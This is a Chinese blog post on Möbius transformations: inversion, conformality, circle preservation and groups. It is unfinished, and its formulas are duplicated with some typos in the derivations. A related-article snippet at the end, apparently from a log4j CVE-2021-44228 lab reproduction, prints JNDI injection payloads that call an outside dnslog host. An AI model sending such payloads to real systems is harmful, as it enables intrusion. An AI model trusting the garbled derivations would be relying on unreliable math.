莫比乌斯变换的数学原理

在这里插入图片描述

一、说明

关于莫比乌斯变换,是一个代数几何变换的重要概念。也是双曲几何的重要理论,比如庞加莱盘就是建立在这个理论上,那么这个变换到底有哪些内容?本文将做出详细的解读。

二、线性变换和逆变换

在本节中,我们研究莫比乌斯变换,它提供了找到一个域到的一对一映射的非常方便的方法。让我们从线性变换开始。

2.1 线性变换

w = φ ( z ) : = A z + B w = φ(z) := Az + B w=φ(z):=Az+B
其中,其中 A 和 B 是固定复数, A ≠ 0 A \neq 0 A=0
w = φ ( z ) : = ∣ A ∣ e i A ( a ) z + B . w = φ(z) := |A|e^{iA(a)}z + B. w=φ(z):=AeiA(a)z+B.
正如我们所看到的,将变换分成三个部分:
1)一个变换是围绕原点经过一次旋转,旋转角度 Arg (a).
w 1 : = e i A r g ( a ) z w1 := e^{iArg (a)}z w1:=eiArg(a)z
2)放大倍数变换(magnification)
w 2 = ∣ A ∣ w 1 w2 = |A|w1 w2=Aw1
3) 一个平移变换
w = w 3 = w 2 + B w = w_3 = w_2 + B w=w3=w2+B

2.2 逆变换

z = φ − 1 ( w ) : = 1 A ( w − B ) z = φ^{-1}(w) := \frac{1}{A}(w - B) z=φ1(w):=A1(wB)
显然也是一个线性变换。

通过上述分解,原来的变换就可以用相应的矩阵表示。
线性变换中的每一个都是复平面的一对一映射自身。直线和圆的变换分别是直线和圆。并且保证长度不变。

三、反演变换

现在我们考虑由下式定义的反转
w : = 1 z w :=\frac{1}{z} w:=z1
.
很容易看出,反转是扩展的一对一映射,复平面 C ˉ \mathbb{\bar{C}} Cˉ 到自身上(0 → ∞,反之亦然 ∞ → 0。)

3.1 过原点直线反演

我们将证明一条线的图像要么是一条线,要么是一个圆。
事实上,首先让 l l l 通过原点。点 ρ e i θ ρe^{iθ} ρeiθ 的图像为 1 ρ e − i θ \frac{1}{ρ}e^{-iθ} ρ1eiθ 。让 ρ 从负无穷趋向正无穷,我们看到该图像是另一条穿过原点且具有一定倾斜角的线-θ.

3.2 任意直线的反演

现在让 L 由以下方程给出
L : A x + B y = C , L : Ax + By = C, L:Ax+By=C,
此时 C ≠ 0 , 且 ∣ A ∣ + ∣ B ∣ > 0 C\neq 0, 且 |A| + |B| > 0 C=0,A+B>0. (3)
w : = 1 z w :=\frac{1}{z} w:=z1变换一个格式 z : = 1 w z :=\frac{1}{w} z:=w1,此时,z是直线上点,w是变换后的点。
设: w : = u + i v w :=u+iv w:=u+iv那么:
z = w ˉ ∣ w ∣ 2 = u − i v u 2 + v 2 z =\frac{\bar{w}}{|w|^2}=\frac{u − iv}{u^2 + v^2} z=w2wˉ=u2+v2uiv
将z的实部虚部分别引入:
x = u u 2 + v 2 , y = − v u 2 + v 2 x =\frac{u}{u^2 + v^2}, y =\frac{−v}{u^2 + v^2} x=u2+v2u,y=u2+v2v
由于z在直线L之上:
A u u 2 + v 2 + B − v u 2 + v 2 = C A\frac{u}{u^2 + v^2}+B\frac{−v}{u^2 + v^2}=C Au2+v2u+Bu2+v2v=C
化简之后:
u 2 + v 2 − A C u + B C v = 0 u^2+v^2-\frac{A}{C}u+\frac{B}{C}v=0 u2+v2CAu+CBv=0
显然,w=u+iv自身构成一个圆周。即,不过原点的直线,通过反演变换映射成圆周。

四、莫比乌斯变换

4.1 定义

在复平面上,设定下列变换:
w = f ( z ) = a z + b c z + d ; , ∣ a ∣ + ∣ c ∣ > 0 , a d − b c ≠ 0 w = f(z) = \frac{az + b}{cz + d};, |a| + |c| > 0, ad − bc \neq0 w=f(z)=cz+daz+b,a+c>0,adbc=0
这个变换称为,莫比乌斯变换。
讨论:

  • 如果 c = 0,则莫比乌斯变换是线性的。
  • 如果 c ≠ 0 , a = 0 c\neq 0, a = 0 c=0,a=0 那么,变换是一种反演。
  • 考虑 a c ≠ 0 ac \neq 0 ac=0 的情况。那么 w 可以是:
    写成
    在这里插入图片描述
    事实上,这是线性变换的分解和反函数。我们还注意到:
    在这里插入图片描述
    因此,w 在每个点 z ≠ − d / c z \neq -d/c z=d/c处都是共形的。

4.2 共形性解释

定义(共形映射):若两区域 D 1 D_1 D1 D 2 D_2 D2 之间的映射,是解析同胚的,则称 是共形映射, D 1 D_1 D1 D 2 D_2 D2共形等价.
同胚映射是拓扑学中的概念,指两个拓扑空间之间存在一个双射,使得该双射和其逆映射都是连续映射的映射。
在这里插入图片描述

共形变换,拓扑同胚,它们的直观解释是:将图画在柔软可拉升的平面皮革上,皮革可以任意卷曲拉伸,但原图像信息扭曲,但不损失。
在这里插入图片描述

在这里插入图片描述

4.3 莫比乌斯变换特性

定理1:若 f ( z ) f(z) f(z) 在区域 D D D 内解析,则在 f ′ ( z ) ≠ 0 f'(z) \neq 0 f(z)=0 的点处,映射 f ( z ) f(z) f(z) 总有保角性、伸缩率不变性.
1)令 f 为莫比乌斯变换。然后f 可以表示为放大、旋转、平移的组合和反演。
2)f 将扩展的复平面映射到其自身上。
3)f 将 Circled 和 Lines 类映射到其自身。
4)f 除其极点外,在每一点都是共形的。
特点:
1.保角性
2.保域性,保圆性,保形性,保对称点性

五、莫比乌斯变换保圆性

1,分式线性函数。分式线性函数也称为分式线性变换,或者 Moibus 变换。它的一般形式为

w = a z + b c z + d , a d − b c ≠ 0 w=\frac{az+b}{cz+d},\qquad ad-bc\ne 0 w=cz+daz+b,adbc=0

a d − b c = 0 ad-bc=0 adbc=0 ,则分式线性函数为常数。因为
w = a z + b c z + d = a z c z + d + b c z + d = 1 c ⋅ a ( c z + d ) c d + d − 1 c ⋅ a d c z + d + b c z + d = a c − a d − b c c ( c z + d ) = a c \begin{align*}w&=\frac{az+b}{cz+d}=\frac{az}{cz+d}+\frac{b}{cz+d}\\ &=\frac{1}{c}\cdot\frac{a(cz+d)}{cd+d}-\frac{1}{c}\cdot\frac{ad}{cz+d}+\frac{b}{cz+d}\\ &=\frac{a}{c}-\frac{ad-bc}{c(cz+d)}=\frac{a}{c}\end{align*} w=cz+daz+b=cz+daz+cz+db=c1cd+da(cz+d)c1cz+dad+cz+db=cac(cz+d)adbc=ca

分式线性函数比较重要,是因为(1)它是单位圆上的全纯自同构群;(2)它是平面上的全纯自同构群;(3)它是扩充复平面上的亚纯自同构群。

这里,直线看成是半径为无穷大的圆。

2,分式线性变换的逆变换(分式线性函数的反函数): z = − d w + b c w + a \displaystyle z=\frac{-dw+b}{cw+a} z=cw+adw+b
3,在扩充复平面上,分式线性函数将
(1)点 z = − d c z=-\frac{d}{c} z=cd 变成 w = ∞ w=\infty w=;
(2) c = 0 c=0 c=0 时, z = ∞ z=\infty z= 变成 w = ∞ w=\infty w=
(3) c ≠ 0 c\ne 0 c=0 时, z = ∞ z=\infty z= 变成 w = a c w=\frac{a}{c} w=ca

4,分式线性变换的分解:分式线性变换可以分解成更简单的一些保形变换的复合。
w = a z + b c z + d = a c − a d − b c c ( c z + d ) , c ≠ 0 w=\frac{az+b}{cz+d}=\frac{a}{c}-\frac{ad-bc}{c(cz+d)},\qquad c\ne 0 w=cz+daz+b=cac(cz+d)adbc,c=0
w = a z + b c z + d = a d z − b d ) = r e i θ z + b d , c = 0 w=\frac{az+b}{cz+d}=\frac{a}{d}z-\frac{b}{d)}=re^{i\theta}z+\frac{b}{d},\qquad c=0 w=cz+daz+b=dazd)b=reiθz+db,c=0
从这里可以看出,分式线性变换可以是下列几种变换的复合:
(1) w = z + a w=z+a w=z+a,平移变换;
(2) w = e i θ z w=e^{i\theta}z w=eiθz,这是旋转变换,其中 θ \theta θ 是实数;
(3) w = r z w=rz w=rz,这是相似变换(拉伸),这里 r 是正实数;
(4) w = 1 z w=\frac{1}{z} w=z1,这称为反演变换。
关于分式线性变换,我们首先有如下的保圆性:

5,定理(分式线性变换的保圆性):在扩充复平面上,分式线性函数将圆变成圆。

证明:(1) w = z + a w=z+a w=z+a,平移变换,将圆变成圆;

(2) w = e i θ z w=e^{i\theta}z w=eiθz,旋转变换,将圆变成圆;

(3) w = r z w=rz w=rz,这是相似变换(拉伸)。只改变圆的大小,不改变形状,还是将圆变成圆;

(4) w = 1 z w=\frac{1}{z} w=z1,反演变换,也将圆变成圆,我们证明如下:

我们知道圆的一般方程为 a ( x 2 + y 2 ) + b x + c y + d = 0 a(x^2+y^2)+bx+cy+d=0 a(x2+y2)+bx+cy+d=0。若 a = 0 a=0 a=0
,则圆的方程变成直线,而直线是半径为无穷大的圆。

a ≠ 0 a\ne 0 a=0,那么 x 2 + y 2 = z ⋅ z ˉ , x = z + z ˉ 2 , y = z − z ˉ 2 i x^2+y^2=z\cdot \bar{z},\quad x=\frac{z+\bar{z}}{2},\quad y=\frac{z-\bar{z}}{2i} x2+y2=zzˉ,x=2z+zˉ,y=2izzˉ

所以圆的方程变为

a z z ˉ + b 2 ( z + z ˉ ) + c 2 i ( a − z ˉ ) + d = 0 a z z ˉ + ( b 2 + c 2 i ) z ( z + z ˉ ) + ( b 2 − c 2 i ) z ˉ + d = 0 a z z ˉ + ( b 2 − c 2 i ) z + ( b 2 + c 2 i ) z ˉ + d = 0 a z z ˉ + β ˉ z + β z ˉ + d = 0 \begin{align*}& az\bar{z}+\frac{b}{2}(z+\bar{z})+\frac{c}{2i}(a-\bar{z})+d=0\\ &az\bar{z}+\left(\frac{b}{2}+\frac{c}{2i}\right)z(z+\bar{z})+\left(\frac{b}{2}-\frac{c}{2i}\right)\bar{z}+d=0\\ &az\bar{z}+\left(\frac{b}{2}-\frac{c}{2}i\right)z+\left(\frac{b}{2}+\frac{c}{2}i\right)\bar{z}+d=0\\ &az\bar{z}+\bar{\beta}z+\beta\bar{z}+d=0\end{align*} azzˉ+2b(z+zˉ)+2ic(azˉ)+d=0azzˉ+(2b+2ic)z(z+zˉ)+(2b2ic)zˉ+d=0azzˉ+(2b2ci)z+(2b+2ci)zˉ+d=0azzˉ+βˉz+βzˉ+d=0

这就是圆的一般方程的复数表示。这里 β = ( b 2 + c 2 i ) \beta=\left(\frac{b}{2}+\frac{c}{2}i\right) β=(2b+2ci)

我们将反演变换 w = 1 z w=\frac{1}{z} w=z1
代入上式,得到

a 1 w ⋅ 1 w ˉ + β ˉ 1 w + β 1 z ˉ + d = 0 ( 同乘以 w w ˉ ) a + β ˉ ⋅ w ˉ + β w + d w w ˉ = 0 d w w ˉ + β w + β ˉ ⋅ w ˉ + a = 0 \begin{align*}&a\frac{1}{w}\cdot\frac{1}{\bar{w}}+\bar{\beta}\frac{1}{w}+\beta\frac{1}{\bar{z}}+d=0\\ (\text{同乘以} w\bar{w})\quad& a+\bar{\beta}\cdot \bar{w}+\beta w+dw\bar{w}=0\\ &dw\bar{w}+\beta w+\bar{\beta}\cdot \bar{w}+a=0\end{align*} (同乘以wwˉ)aw1wˉ1+βˉw1+βzˉ1+d=0a+βˉwˉ+βw+dwwˉ=0dwwˉ+βw+βˉwˉ+a=0
这仍然是一个圆的方程。所以反演变换将圆变成圆。
综合以上四种情形,我们知道,分式线性变换将圆变成圆。因为分式线性变换是由上面四种变换复合而成的。这就证明了分式线性变换的保圆性。

六、关于群

群是一个代数模式,将一种变换
群的定义
如果一个非空集合 G 上定义了一个二元运算
,满足如下性质:
(1)封闭性,即对于 ∀ a , b ∈ G \forall a,b \in G a,bG ,有 a ⋅ b ∈ G a \cdot b \in G abG ;
(2)结合律,即对于 ∀ a , b , c ∈ G \forall a,b,c \in G a,b,cG,有 ( a ⋅ b ) ⋅ c = a ⋅ ( b ⋅ c ) (a \cdot b) \cdot c = a \cdot (b \cdot c) (ab)c=a(bc)
(3)存在 e ∈ G e \in G eG ,使得 ∀ c ∈ G \forall c \in G cG e ⋅ c = c ⋅ e = c e \cdot c = c \cdot e=c ec=ce=c
(4)对于 ∀ a ∈ G \forall a \in G aG ,存在 ∀ b ∈ G \forall b \in G bG ,使得 ( a ⋅ b ) = ( b ⋅ a ) = e (a \cdot b)= (b \cdot a)=e (ab)=(ba)=e

则称 G 关于运算 ⋅ \cdot 构成一个群(group),记为 ( G , ⋅ ) (G,\cdot) G

七、莫比乌斯变换群

7.1 结合性证明

(更新中…)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/589568.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

# notepad++ 编辑器英文版,如何打开自动换行

notepad 编辑器英文版,如何打开自动换行 在Notepad中,如果你想要开启自动换行功能,可以按照以下步骤操作: 1、打开 Notepad 编辑器。 1.1. 依次点击菜单栏中的【视图】,英文版对应【View】。1.2. 在【视图】下拉菜单…

css---浮动知识点精炼汇总

前言 欢迎来到我的博客 个人主页:北岭敲键盘的荒漠猫-CSDN博客 浮动简单理解与介绍 这是我们普通的页面标签效果。 每个标签从上到下依次排列。 浮动顾名思义就是让这个标签飞翔起来。 他飞起来后,后面的标签来到他的位置上。 而浮动的标签就会显示在标签的上面。…

【译】Celery文档1:First Steps with Celery——安装和配置Celery

https://docs.celeryq.dev/en/stable/getting-started/first-steps-with-celery.html#first-steps Celery的第一步 Celery时一个自带电池的任务队列。 本教程内容: 安装消息传输代理(broker)安装Celery并创建第一个任务(task)启动Celery工作进程(worker)并执行任务…

2021-10-21 51单片机两位数码管显示0-99循环

缘由单片机两位数码管显示0-99循环-编程语言-CSDN问答 #include "REG52.h" #include<intrins.h> sbit K1 P3^0; sbit K2 P3^1; sbit K3 P3^2; sbit K4 P3^3; sbit bpP3^4; bit k1,wk10,wk20; unsigned char code SmZiFu[]{63,6,91,79,102,109,125,7,127,1…

Java高阶私房菜:JVM分代收集算法介绍和各垃圾收集器原理分解

目录 什么是分代收集算法 GC的分类和专业术语 什么是垃圾收集器 垃圾收集器的分类及组合 ​编辑 应关注的核心指标 Serial和ParNew收集器原理 Serial收集器 ParNew收集器 Parallel和CMS收集器原理 Parallel 收集器 CMS收集器 新一代垃圾收集器G1和ZGC G1垃圾收集器…

设计模式之MVC模式

在编程江湖闯荡多年&#xff0c;我手中打磨过的设计模式多如繁星&#xff0c;但论及经典与实用&#xff0c; MVC&#xff08;Model-View-Controller&#xff09;模式 绝对是个中翘楚&#xff01;它不仅是Web应用的骨架&#xff0c;更是软件架构的智慧结晶。今天&#xff0c;咱们…

DRF解析器源码分析

DRF解析器源码分析 1 解析器 解析请求者发来的数据&#xff08;JSON&#xff09; 使用 request.data 获取请求体中的数据。 这个 reqeust.data 的数据怎么来的呢&#xff1f;其实在drf内部是由解析器&#xff0c;根据请求者传入的数据格式 请求头来进行处理。 drf默认的解…

leetcode刷题记录—回溯

目录 22. 括号生成 39. 组合总和 46. 全排列 77. 组合 79. 单次搜索 回溯全集 22. 括号生成 数字 n 代表生成括号的对数&#xff0c;请你设计一个函数&#xff0c;用于能够生成所有可能的并且 有效的 括号组合。 示例 1&#xff1a; 输入&#xff1a;n 3 输出&#xff1a;[&qu…

三维坐标点按剖面分类

一、写在前面 ①配套文件&#xff1a;根据剖面对三维坐标点&#xff08;X,Y,Z&#xff09;分类资源-CSDN文库 ②脱敏处理&#xff1a;蚀变数据已采用随机数生成覆盖 ③剖面坐标按顺序排列在“剖面坐标点.xlsx”文件中 二、3点确定空间中平面方程 原理&#xff1a; 设3点A&…

达梦(DM) SQL聚集函数及日期运算操作

达梦DM SQL聚集函数及日期运算操作 聚集函数MAX、MIN、SUM、AVG、COUNT使用分析函数 sum (…) over (order by…) 可以生成累计和更改累计和的值计算出现次数最多的值 日期运算加减日、月、年加减时、分、秒日期间隔之时、分、秒日期间隔之日、月、年求两个日期间的工作天数确定…

uniapp 异步加载级联选择器(Cascader,data-picke)

目录 Props 事件方法 inputChange事件回调参数说明&#xff1a; completeChange事件回调参数说明&#xff1a; temList 属性Object参数说明 defaultItemList 属性Object参数说明 在template中使用 由于uniapp uni-ui的data-picke 不支持异步作者自己写了一个 插件市场下…

VBA技术资料MF147:从Excel运行PowerPoint演示文稿

我给VBA的定义&#xff1a;VBA是个人小型自动化处理的有效工具。利用好了&#xff0c;可以大大提高自己的工作效率&#xff0c;而且可以提高数据的准确度。“VBA语言専攻”提供的教程一共九套&#xff0c;分为初级、中级、高级三大部分&#xff0c;教程是对VBA的系统讲解&#…

VULHUB复现log4j反序列化漏洞-CVE-2021-44228

本地下载vulhub复现就完了&#xff0c;环境搭建不讲&#xff0c;网上其他文章很好。 访问该环境&#xff1a; POC 构造&#xff08;任选其一&#xff09;&#xff1a; ${jndi:ldap://${sys:java.version}.xxx.dnslog.cn} ${jndi:rmi://${sys:java.version}.xxx.dnslog.cn}我是…

DHCPv4_CLIENT_SUMMARY_03:接收至少包含312个八位字节长度的‘options‘字段的DHCP消息

测试目的&#xff1a; 验证DHCP客户端是否能够接收至少312个八位字节长度的’options’字段的DHCP消息。 描述&#xff1a; 本测试用例旨在确保DHCP客户端准备接收包含至少312个八位字节&#xff08;即312 octets&#xff09;长度的’options’字段的DHCP消息。这意味着DHCP…

pthread线程相关

LWP :轻量级 进程&#xff0c;本质仍是进程 进程 &#xff1a;独立地址空间&#xff0c;拥有PCB 线程&#xff1a;有独立的TCB&#xff0c;但没有独立的地址空间&#xff08;共享&#xff09; 区别 &#xff1a;在与是否共享地址文件 进程 &#xff08;独居&#xff09;&am…

excel办公系列-图表元素及其作用

Excel图表元素及其作用 Excel图表由各种元素组成&#xff0c;每个元素都有其特定的作用&#xff0c;可以帮助我们更清晰地传达数据信息。下面将介绍Excel图表中常见的一些元素及其作用&#xff0c;并附上相关截图。 原始数据 月份 网站访问量 (万次&#xff09; 销售额 (万…

从一到无穷大 #25 DataFusion:可嵌入,可扩展的模块化工业级计算引擎实现

本作品采用知识共享署名-非商业性使用-相同方式共享 4.0 国际许可协议进行许可。 本作品 (李兆龙 博文, 由 李兆龙 创作)&#xff0c;由 李兆龙 确认&#xff0c;转载请注明版权。 文章目录 引言架构总览与可扩展性Catalog and Data SourcesFront End逻辑计划与逻辑计划优化器…

基于java,SpringBoot和VUE的求职招聘简历管理系统设计

摘要 基于Java, Spring Boot和Vue的求职招聘管理系统是一个为了简化求职者与雇主间互动流程而设计的现代化在线平台。该系统后端采用Spring Boot框架&#xff0c;以便快速搭建具有自动配置、安全性和事务管理等特性的RESTful API服务&#xff0c;而前端则使用Vue.js框架构建动…

超越数据的确定性:通过概率主成分分析拥抱不确定性

原文地址&#xff1a;beyond-determinism-in-data-embracing-uncertainty-with-probabilistic-principal-component-analysis 2024 年 4 月 24 日 主成分分析法&#xff08;Principal Component Analysis&#xff0c;PCA&#xff09;是一种统计方法&#xff0c;它可以通过正交…

笔试狂刷--Day9(模拟 + dp + 规律)

大家好,我是LvZi,今天带来笔试狂刷--Day9 一.添加逗号 题目链接:添加逗号 分析: 模拟 代码: import java.util.*;// 注意类名必须为 Main, 不要有任何 package xxx 信息 public class Main {public static void main(String[] args) {Scanner in new Scanner(System.in);i…